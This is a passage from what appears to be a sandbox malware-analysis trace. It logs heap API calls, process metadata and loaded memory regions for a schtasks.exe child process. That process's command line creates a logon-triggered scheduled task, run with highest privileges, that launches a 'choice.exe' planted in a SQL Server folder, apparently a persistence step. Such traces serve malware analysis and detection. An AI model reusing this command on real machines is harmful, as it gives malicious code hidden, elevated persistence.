dwFlags=0x0, lpMem=0x255b40 | out: hHeap=0x240000) returned 1 [0064.252] GetProcessHeap () returned 0x240000 [0064.252] GetProcessHeap () returned 0x240000 [0064.252] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70) returned 1 [0064.252] GetProcessHeap () returned 0x240000 [0064.252] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255b70) returned 0x20 [0064.252] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0064.252] GetProcessHeap () returned 0x240000 [0064.252] GetProcessHeap () returned 0x240000 [0064.252] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255ba0) returned 1 [0064.252] GetProcessHeap () returned 0x240000 [0064.252] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255ba0) returned 0x20 [0064.253] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255ba0 | out: hHeap=0x240000) returned 1 [0064.253] GetProcessHeap () returned 0x240000 [0064.253] GetProcessHeap () returned 0x240000 [0064.253] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25bb80) returned 1 [0064.253] GetProcessHeap () returned 0x240000 [0064.253] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25bb80) returned 0x18 [0064.253] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25bb80 | out: hHeap=0x240000) returned 1 [0064.253] GetProcessHeap () returned 0x240000 [0064.253] GetProcessHeap () returned 0x240000 [0064.253] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255bd0) returned 1 [0064.253] GetProcessHeap () returned 0x240000 [0064.253] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255bd0) returned 0x20 [0064.254] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255bd0 | out: hHeap=0x240000) returned 1 [0064.254] GetProcessHeap () returned 0x240000 [0064.254] GetProcessHeap () returned 0x240000 [0064.254] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255c60) returned 1 [0064.254] GetProcessHeap () returned 0x240000 [0064.254] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255c60) returned 0x20 [0064.254] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255c60 | out: hHeap=0x240000) returned 1 [0064.254] GetProcessHeap () returned 0x240000 [0064.254] GetProcessHeap () returned 0x240000 [0064.255] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255cc0) returned 1 [0064.255] GetProcessHeap () returned 0x240000 [0064.255] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255cc0) returned 0x20 [0064.255] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255cc0 | out: hHeap=0x240000) returned 1 [0064.255] GetProcessHeap () returned 0x240000 [0064.255] GetProcessHeap () returned 0x240000 [0064.255] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255d20) returned 1 [0064.255] GetProcessHeap () returned 0x240000 [0064.255] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255d20) returned 0x20 [0064.256] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255d20 | out: hHeap=0x240000) returned 1 [0064.256] GetProcessHeap () returned 0x240000 [0064.256] GetProcessHeap () returned 0x240000 [0064.256] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255d50) returned 1 [0064.256] GetProcessHeap () returned 0x240000 [0064.256] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255d50) returned 0x20 [0064.256] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255d50 | out: hHeap=0x240000) returned 1 [0064.256] GetProcessHeap () returned 0x240000 [0064.256] GetProcessHeap () returned 0x240000 [0064.256] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25bba0) returned 1 [0064.256] GetProcessHeap () returned 0x240000 [0064.257] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25bba0) returned 0x18 [0064.257] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25bba0 | out: hHeap=0x240000) returned 1 [0064.257] GetProcessHeap () returned 0x240000 [0064.257] GetProcessHeap () returned 0x240000 [0064.257] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255c90) returned 1 [0064.257] GetProcessHeap () returned 0x240000 [0064.257] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255c90) returned 0x20 [0064.257] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255c90 | out: hHeap=0x240000) returned 1 [0064.257] GetProcessHeap () returned 0x240000 [0064.257] GetProcessHeap () returned 0x240000 [0064.257] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25bb20) returned 1 [0064.257] GetProcessHeap () returned 0x240000 [0064.257] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25bb20) returned 0x18 [0064.258] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25bb20 | out: hHeap=0x240000) returned 1 [0064.258] exit (_Code=0) Thread: id = 115 os_tid = 0xf38 Process: id = "18" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3da1f000" os_pid = "0xf3c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"choice\" /sc ONLOGON /tr \"'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2231 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2232 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2233 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2234 start_va = 0xc0000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2235 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2236 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2237 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2238 start_va = 0xffe10000 end_va = 0xffe57fff monitored = 1 entry_point = 0xffe3966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2239 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2240 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2241 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 2242 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 2243 start_va = 0x140000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 2244 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2245 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2246 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2247 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2248 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2249 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2250 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2251 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2252 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2253 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2254 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2255 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2256 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2257 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2258 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2259 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2260 start_va = 0x320000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 2261 start_va = 0x320000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 2262 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 2263 start_va = 0x4a0000 end_va = 0x627fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004a0000" filename = "" Region: id = 2264 start_va = 0x140000 end_va = 0x168fff monitored = 0 entry_point = 0x141010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2265 start_va = 0x220000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 2266 start_va = 0x140000 end_va = 0x168fff monitored = 0 entry_point = 0x141010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2267 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2268 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2269 start_va = 0x630000 end_va = 0x7b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000630000" filename = "" Region: id = 2270 start_va = 0x7c0000 end_va = 0x1bbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007c0000" filename = "" Region: id = 2271 start_va = 0x140000 end_va = 0x151fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2272 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2273 start_va = 0x160000 end_va = 0x160fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 2274 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2275 start_va = 0x1bc0000 end_va = 0x1e8efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2276 start_va = 0x170000 end_va = 0x1ecfff monitored = 0 entry_point = 0x17cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2277 start_va = 0x170000 end_va = 0x1ecfff monitored = 0 entry_point = 0x17cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2278 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2279 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2280 start_va = 0x1e90000 end_va = 0x1fcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e90000" filename = "" Region: id = 2281 start_va = 0x1fd0000 end_va = 0x20aefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001fd0000" filename = "" Region: id = 2282 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2283 start_va = 0x1ec0000 end_va = 0x1f3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ec0000" filename = "" Region: id = 2284 start_va = 0x1f50000 end_va = 0x1fcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2285 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 2286 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2287 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 2288 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2289 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 2290 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2291 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2292 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 116 os_tid = 0xf40 [0064.268] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x13fec0 | out: lpSystemTimeAsFileTime=0x13fec0*(dwLowDateTime=0x4f639ee0, dwHighDateTime=0x1d9eb0c)) [0064.268] GetCurrentProcessId () returned 0xf3c [0064.268] GetCurrentThreadId () returned 0xf40 [0064.268] GetTickCount () returned 0x1765a28 [0064.268] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x13fec8 | out: lpPerformanceCount=0x13fec8*=2487075162989) returned 1 [0064.269] GetModuleHandleW (lpModuleName=0x0) returned 0xffe10000 [0064.269] __set_app_type (_Type=0x1) [0064.269] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffe3972c) returned 0x0 [0064.269] __wgetmainargs (in: _Argc=0xffe51240, _Argv=0xffe51250, _Env=0xffe51248, _DoWildCard=0, _StartInfo=0xffe5125c | out: _Argc=0xffe51240, _Argv=0xffe51250, _Env=0xffe51248) returned 0 [0064.270] _onexit (_Func=0xffe42ab0) returned 0xffe42ab0 [0064.270] _onexit (_Func=0xffe42ac4) returned 0xffe42ac4 [0064.270] _onexit (_Func=0xffe42afc) returned 0xffe42afc [0064.270] _onexit (_Func=0xffe42b58) returned 0xffe42b58 [0064.270] _onexit (_Func=0xffe42b80) returned 0xffe42b80 [0064.270] _onexit (_Func=0xffe42ba8) returned 0xffe42ba8 [0064.270] _onexit (_Func=0xffe42bd0) returned 0xffe42bd0 [0064.270] _onexit (_Func=0xffe42bf8) returned 0xffe42bf8 [0064.270] _onexit (_Func=0xffe42c20) returned 0xffe42c20 [0064.271] _onexit (_Func=0xffe42c48) returned 0xffe42c48 [0064.271] _onexit (_Func=0xffe42c70) returned 0xffe42c70 [0064.271] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0064.271] WinSqmIsOptedIn () returned 0x0 [0064.271] GetProcessHeap () returned 0x220000 [0064.271] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x235590 [0064.272] SetLastError (dwErrCode=0x0) [0064.272] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0064.272] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0064.272] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0064.272] VerifyVersionInfoW (in: lpVersionInformation=0x13f680, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x13f680) returned 1 [0064.272] GetProcessHeap () returned 0x220000 [0064.272] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23bb50 [0064.272] lstrlenW (lpString="") returned 0 [0064.272] GetProcessHeap () returned 0x220000 [0064.272] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x2) returned 0x23bb70 [0064.272] GetProcessHeap () returned 0x220000 [0064.272] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235a80 [0064.272] GetProcessHeap () returned 0x220000 [0064.272] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23bb90 [0064.272] GetProcessHeap () returned 0x220000 [0064.272] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235ab0 [0064.272] GetProcessHeap () returned 0x220000 [0064.272] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235ae0 [0064.272] GetProcessHeap () returned 0x220000 [0064.272] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235b10 [0064.272] GetProcessHeap () returned 0x220000 [0064.272] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235b40 [0064.272] GetProcessHeap () returned 0x220000 [0064.272] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23bbb0 [0064.272] GetProcessHeap () returned 0x220000 [0064.272] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235b70 [0064.273] GetProcessHeap () returned 0x220000 [0064.273] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235ba0 [0064.273] GetProcessHeap () returned 0x220000 [0064.273] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235bd0 [0064.273] GetProcessHeap () returned 0x220000 [0064.273] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235c00 [0064.273] GetProcessHeap () returned 0x220000 [0064.273] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23bbd0 [0064.273] GetProcessHeap () returned 0x220000 [0064.273] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235c30 [0064.273] GetProcessHeap () returned 0x220000 [0064.273] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235c60 [0064.273] GetProcessHeap () returned 0x220000 [0064.273] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235c90 [0064.273] GetProcessHeap () returned 0x220000 [0064.273] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235cc0 [0064.273] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0064.273] SetLastError (dwErrCode=0x0) [0064.273] GetProcessHeap () returned 0x220000 [0064.273] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235cf0 [0064.273] GetProcessHeap () returned 0x220000 [0064.273] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235d20 [0064.273] GetProcessHeap () returned 0x220000 [0064.273] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235d50 [0064.273] GetProcessHeap () returned 0x220000 [0064.273] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235d80 [0064.273] GetProcessHeap () returned 0x220000 [0064.273] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235db0 [0064.274] GetProcessHeap () returned 0x220000 [0064.274] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23bbf0 [0064.274] _memicmp (_Buf1=0x23bbf0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.274] GetProcessHeap () returned 0x220000 [0064.274] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x208) returned 0x23bd90 [0064.274] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x23bd90, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0064.274] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0064.275] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0064.275] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0064.277] GetProcessHeap () returned 0x220000 [0064.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x74e) returned 0x23c360 [0064.278] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0064.278] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x23c360 | out: lpData=0x23c360) returned 1 [0064.278] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0064.278] VerQueryValueW (in: pBlock=0x23c360, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x13f768, puLen=0x13f7d0 | out: lplpBuffer=0x13f768*=0x23c6fc, puLen=0x13f7d0) returned 1 [0064.280] _memicmp (_Buf1=0x23bbf0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.280] _vsnwprintf (in: _Buffer=0x23bd90, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x13f748 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0064.280] VerQueryValueW (in: pBlock=0x23c360, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x13f7d8, puLen=0x13f7c8 | out: lplpBuffer=0x13f7d8*=0x23c528, puLen=0x13f7c8) returned 1 [0064.280] lstrlenW (lpString="schtasks.exe") returned 12 [0064.280] lstrlenW (lpString="schtasks.exe") returned 12 [0064.280] lstrlenW (lpString=".EXE") returned 4 [0064.280] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0064.281] lstrlenW (lpString="schtasks.exe") returned 12 [0064.281] lstrlenW (lpString=".EXE") returned 4 [0064.281] _memicmp (_Buf1=0x23bbf0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.281] lstrlenW (lpString="schtasks") returned 8 [0064.281] GetProcessHeap () returned 0x220000 [0064.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235ea0 [0064.281] GetProcessHeap () returned 0x220000 [0064.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cc70 [0064.281] GetProcessHeap () returned 0x220000 [0064.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cca0 [0064.281] GetProcessHeap () returned 0x220000 [0064.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23ccd0 [0064.281] GetProcessHeap () returned 0x220000 [0064.282] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23bc10 [0064.282] _memicmp (_Buf1=0x23bc10, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.282] GetProcessHeap () returned 0x220000 [0064.282] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xa0) returned 0x23c190 [0064.282] GetProcessHeap () returned 0x220000 [0064.282] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) 